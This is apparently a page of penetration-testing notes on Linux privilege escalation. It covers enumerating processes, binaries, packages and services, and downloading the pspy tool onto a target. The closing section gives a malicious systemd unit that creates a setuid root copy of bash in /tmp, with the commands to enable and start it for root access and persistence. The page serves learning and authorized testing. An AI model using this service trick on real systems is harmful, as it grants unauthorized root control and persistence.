> For the complete documentation index, see [llms.txt](https://riteshs4hu.gitbook.io/infosec-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://riteshs4hu.gitbook.io/infosec-notes/internal-and-external-network-sec/privilege-escalation/linux/application-and-service-enumeration.md).

# Application & Service Enumeration

Misconfigured or vulnerable services can allow privilege escalation. Enumeration helps identify running processes, installed software, writable or misconfigured service files, and potential persistence techniques.

***

### Enumerate Running Services & Processes

Inspect processes running on the system, especially those owned by `root`.

```bash
ps -aux
```

```
ps -ef
```

Optional tools:

```bash
top
```

```
htop
```

Look for:

* Suspicious scripts or binaries
* Services running with elevated privileges

***

### Common Directories of Executable Files

You might find custom or insecure executables in typical service folders:

```bash
ls -lah /usr/local/bin/
```

```
ls -lah /opt/
```

```
ls -lah  /usr/bin/
ls -lah /sbin/
```

Look for:

* Writable files owned by root
* Services running custom scripts or binaries

***

### Check Installed Packages

Identify installed software, and search for vulnerabilities or misconfigurations:

* **Debian/Ubuntu**:

  ```bash
  dpkg -l
  ```
* **CentOS/RHEL**:

  ```bash
  rpm -qa
  ```

***

### Service Management Commands

View and manage services (note their permissions, startup behavior, and user context).

```bash
systemctl list-units --type=service
```

```
systemctl status <service>
```

```
systemctl list-units --type=service --state=running
```

Older systems (SysV):

```bash
service --status-all
```

```bash
chkconfig --list
```

***

### Service Locations

Common directories for service definitions:

| Type      | Location                                             |
| --------- | ---------------------------------------------------- |
| systemd   | `/etc/systemd/system/` or `/usr/lib/systemd/system/` |
| SysV init | `/etc/init.d/`                                       |
| Custom    | `/opt/`                                              |

***

### Tools

**`[pspy](https://github.com/DominicBreuker/pspy)`** help to monitor processes and commands (e.g., cron jobs, scripts) without needing root.

* Download `pspy64` on attacker, transfer to target:

  ```bash
  wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
  chmod +x pspy64
  ./pspy64
  ```
* Monitor for:
  * Scheduled scripts
  * Service behavior
  * User escalation paths

***

### Privilege Escalation via Custom Service

If you have permission to **create or modify a service**, and the service runs as **root**, it can be used for privilege escalation or persistence.

**Example: Create a malicious service unit**

```ini
# /etc/systemd/system/rootshell.service
[Unit]
Description=Root Shell

[Service]
ExecStart=/bin/bash -c 'cp /bin/bash /tmp/rootshell && chmod +s /tmp/rootshell'
Type=simple

[Install]
WantedBy=multi-user.target
```

```bash
systemctl daemon-reexec
systemctl enable rootshell.service
systemctl start rootshell.service
```

After reboot, the binary at `/tmp/rootshell` can be executed for a root shell.